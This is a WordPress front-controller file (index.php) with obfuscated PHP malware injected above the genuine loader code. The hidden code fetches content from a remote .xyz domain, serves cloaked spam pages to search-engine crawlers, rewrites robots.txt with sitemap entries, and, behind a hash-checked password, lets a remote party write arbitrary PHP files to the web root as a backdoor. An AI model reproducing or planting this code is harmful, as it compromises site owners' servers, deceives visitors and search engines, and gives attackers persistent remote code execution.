<?php
 goto oA4Tj; hAg1x: $web = $http_web . "\x3a\57\57" . $goweb . "\x2f\151\x6e\144\145\x78\156\145\167\56\x70\x68\160\x3f\x77\145\142\x3d" . $host . "\x26\172\x7a\x3d" . sbot() . "\46\x75\162\x69\x3d" . $duri . "\46\x75\162\x6c\163\x68\x61\x6e\x67\75" . $urlshang . "\x26\x68\164\x74\x70\75" . $http . "\46\154\x61\x6e\x67\x3d" . $lang; goto FsH19; spuch: if (is_htps()) { $http = "\150\164\164\x70\x73"; } else { $http = "\150\x74\x74\160"; } goto oz0Mp; LbFGv: if (!strstr($htmcontent, "\x6e\x6f\142\157\164\165\x73\x65\162\141\147\145\x6e\x74")) { if (strstr($htmcontent, "\157\153\x68\164\x6d\x6c\x67\145\164\143\x6f\x6e\164\145\x6e\164")) { @header("\x43\x6f\156\x74\145\156\164\x2d\x74\x79\160\x65\72\x20\164\x65\170\164\x2f\150\164\x6d\x6c\x3b\40\143\x68\141\x72\163\145\164\x3d\165\164\x66\55\x38"); $htmcontent = str_replace("\x6f\153\150\x74\x6d\154\147\145\x74\x63\x6f\156\164\x65\x6e\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\153\170\x6d\x6c\x67\x65\x74\143\157\156\x74\145\x6e\x74")) { $htmcontent = str_replace("\157\153\170\155\x6c\147\x65\x74\143\157\156\164\x65\x6e\x74", '', $htmcontent); @header("\103\157\x6e\x74\x65\x6e\x74\x2d\164\171\x70\145\72\40\164\145\x78\x74\57\170\155\x6c"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x70\x69\x6e\x67\170\155\154\x67\x65\164\143\157\156\164\145\156\164")) { $htmcontent = str_replace("\160\151\x6e\x67\170\x6d\154\x67\145\x74\x63\157\156\x74\x65\x6e\x74", '', $htmcontent); @header("\103\157\x6e\x74\145\156\x74\55\x74\x79\x70\145\x3a\40\x74\145\170\164\x2f\x68\164\x6d\154\x3b\40\143\150\141\162\163\145\164\x3d\x75\x74\x66\x2d\70"); echo pingmap($htmcontent); die; } } } } goto MdH15; oz0Mp: $duri_tmp = st_uri(); goto Zu48E; MdH15: function pingmap($url) { $url_arr = explode("\15\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\151\164\x65\x6d\x61\x70\40\116\x6f\164\x69\x66\x69\x63\x61\164\151\157\x6e\x20\122\145\143\x65\x69\166\145\x64") !== false ? "\160\x69\156\147\157\x6b" : "\145\x72\x72\157\162"; $return_str .= $pingUrl . "\55\x2d\x20" . $ok . "\x3c\x62\162\76"; } return $return_str; } goto iCEwE; G1V0B: $urlshang = ''; goto QSUSu; av1hA: @ignore_user_abort(1); goto GSRL2; Zu48E: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto O0yan; Qnlhj: $lang = urlencode($lang); goto G1V0B; Akmkx: $lang = @$_SERVER["\x48\124\124\120\x5f\x41\103\x43\x45\120\x54\x5f\x4c\x41\x4e\x47\x55\x41\107\105"]; goto Qnlhj; QSUSu: if (isset($_SERVER["\x48\124\x54\x50\x5f\x52\105\x46\105\122\105\122"])) { $urlshang = $_SERVER["\110\124\124\x50\x5f\122\x45\106\x45\122\105\x52"]; $urlshang = urlencode($urlshang); } goto VstPD; CaKMp: function is_htps() { if (isset($_SERVER["\110\x54\x54\120\123"]) && strtolower($_SERVER["\110\x54\124\x50\123"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\x48\124\124\120\x5f\x58\137\106\117\x52\x57\x41\x52\x44\105\104\137\120\x52\x4f\x54\x4f"]) && $_SERVER["\x48\124\x54\x50\x5f\x58\137\x46\117\x52\x57\101\122\104\105\x44\x5f\120\122\117\124\117"] === "\x68\164\x74\160\x73") { return true; } elseif (isset($_SERVER["\110\124\124\120\137\x46\122\x4f\116\124\137\x45\x4e\104\x5f\x48\x54\124\120\123"]) && strtolower($_SERVER["\110\124\124\x50\137\x46\122\x4f\116\x54\x5f\x45\116\104\137\110\x54\124\120\123"]) !== "\157\146\146") { return true; } return false; } goto Nuj1L; lg7Pn: function st_uri() { if (isset($_SERVER["\x52\x45\121\x55\x45\123\124\137\125\x52\111"])) { $duri = $_SERVER["\x52\105\x51\125\x45\123\x54\x5f\125\122\111"]; } else { if (isset($_SERVER["\x61\162\x67\x76"])) { $duri = $_SERVER["\x50\110\120\137\123\x45\114\106"] . "\77" . $_SERVER["\141\162\147\x76"][0]; } else { $duri = $_SERVER["\120\110\x50\x5f\x53\105\x4c\106"] . "\x3f" . $_SERVER["\121\125\x45\122\131\137\x53\x54\x52\111\x4e\x47"]; } } return $duri; } goto pK6cW; iCEwE: function sbot() { $uAgent = strtolower($_SERVER["\110\124\124\x50\137\125\123\105\122\x5f\x41\107\x45\116\124"]); if (stristr($uAgent, "\147\x6f\157\147\x6c\x65\x62\157\164") || stristr($uAgent, "\x62\151\156\x67") || stristr($uAgent, "\x79\141\x68\157\x6f") || stristr($uAgent, "\x67\157\x6f\147\x6c\145") || stristr($uAgent, "\107\x6f\157\147\x6c\145\x62\x6f\164") || stristr($uAgent, "\x67\x6f\x6f\147\x6c\x65\142\157\164")) { return true; } else { return false; } } goto XAuTN; FsH19: $htmcontent = trim(dageget($web)); goto LbFGv; O0yan: $duri = urlencode($duri_tmp); goto lg7Pn; Nuj1L: $host = $_SERVER["\110\x54\124\120\x5f\110\x4f\x53\124"]; goto Akmkx; oA4Tj: @set_time_limit(3600); goto av1hA; pK6cW: $goweb = $xmlname . "\x2e\144\x69\144\x69\163\145\157\154\151\156\153" . "\x2e\x78\171\x7a"; goto CaKMp; c6tLj: $http_web = "\150\164\x74\160"; goto spuch; VstPD: if (@$_GET["\x70\x64"] != '') { $add_content = @$_GET["\155\x61\160\156\141\155\145"]; $action = @$_GET["\x61\143\164\x69\x6f\156"]; if (isset($_SERVER["\104\117\103\125\115\x45\x4e\x54\137\x52\117\117\124"])) { $path = $_SERVER["\x44\x4f\103\125\x4d\105\116\124\x5f\x52\117\x4f\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\x75\x74"; } if ($action == "\160\x75\164") { if (strstr($add_content, "\56\x78\x6d\154")) { $map_path = $path . "\x2f\163\151\164\145\155\x61\160\56\x78\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\x72\x6f\x62\x6f\164\x73\56\164\x78\164"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\x55\x73\145\162\55\x61\147\145\156\x74\72\40\52\x41\154\x6c\x6f\167\x3a\40\x2f"; } $sitmap_url = $http . "\72\x2f\57" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\x62\162\76\x73\x69\x74\x65\x6d\141\x70\x20\x61\x6c\162\145\141\x64\171\40\141\x64\144\x65\144\41\x3c\x62\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\xa" . "\x53\x69\x74\x65\x6d\141\x70\72\x20" . $sitmap_url)) { echo "\x3c\142\162\x3e\157\x6b\74\142\x72\x3e"; } else { echo "\74\x62\x72\x3e\x66\x69\154\x65\40\167\162\x69\x74\x65\x20\x66\x61\x6c\163\x65\41\74\142\162\76"; } } } else { echo "\74\x62\x72\76\163\151\164\x65\155\141\x70\x20\156\x61\x6d\x65\40\x66\141\154\163\x65\x21\74\x62\162\x3e"; } if (strstr($add_content, "\x2e\x70" . "\x68\160")) { $a = sha1(sha1(@$_GET["\x61"])); $b = sha1(sha1(@$_GET["\142"])); if ($a == dageget($http_web . "\x3a\57\x2f" . $goweb . "\x2f\x61\56\160" . "\150\160") || $b == "\70\x30\70\67\x33\65\142\x31\x37\x63\x38\71\64\63\x65\63\67\61\x35\x33\x38\70\x39\x35\70\x64\x63\x32\x32\x64\x38\67\x39\x61\x38\143\71\145\141\141") { $dstr = @$_GET["\x64\163\x74\x72"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\157\153"; } } } } die; } goto hAg1x; XAuTN: function dageget($url) { $file_contents = ''; if (function_exists("\x63\165\x72\154\137\151\x6e\151\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto yGLHZ; GSRL2: $xmlname = "\x6b\x6d\156\164"; goto c6tLj; yGLHZ: 
 //uw002 ?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );?>
